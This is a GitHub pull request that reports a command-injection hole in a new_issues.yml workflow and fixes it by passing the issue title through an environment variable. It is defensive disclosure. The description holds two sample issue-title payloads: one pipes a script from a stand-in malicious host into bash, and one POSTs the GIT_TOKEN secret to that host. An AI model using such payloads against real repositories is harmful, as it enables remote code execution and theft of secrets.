Security Update in new_issues.yml

[aashish-19]

Description

new_issues.yml is vulnerable to RCE via command injection in issue title.

Currently, the following block simply appends the issue title to the shell command. Since the issue title is under user's control, a malicious entity could create an issue with a title such that it escapes the command meant to be executed and instead execute arbitrary commands, which could lead to a variety of security issues such as deletion of files and issues, exfiltration of environment variables to leak secrets, etc:

• name: Run Suggest run: faqtory suggest "${{ github.event.issue.title }}" > suggest.md

A simple example of a malicious payload in the issue title can be: Security"; curl https://malicious-site.com/malicious-script.sh | bash # This would simply close the double quotes and after running faqtory suggest, it would curl a malicious script and pipe it to bash for execution. It will comment out rest of the code.

Similarly, to exfiltrate environment variables, a sample payload in the issues title can be: Security"; $GIT_TOKEN > /tmp/env.txt && curl -X POST -d @/tmp/env.txt https://malicious-site.com/` This would first save the contents of the GIT_TOKEN environment variable in a file in the /tmp directory and then using curl send the contents of the file in a POST request to the attacker controlled web server.

What does this PR do?

This PR makes the necessary changes to the file to ensure this issue is remediated. To ensure proper sanitization of user inputs, it is best to avoid using them as placeholders directly in the script. This PR therefore passes it as an environment variable, by storing the issue title into an environment variable called TITLE and passing it as an argument into the script, hence mitigating the RCE.

Types of changes

• [x] Bug fix (non-breaking change which fixes an issue)
• [ ] New feature (non-breaking change which adds functionality)
• [ ] Breaking change (fix or feature that would cause existing functionality to change)
• [ ] New chore (expected functionality to be implemented)

[aashish-19]

Hey any updates regarding this?

[rachfop]

Thank you for the suggestion.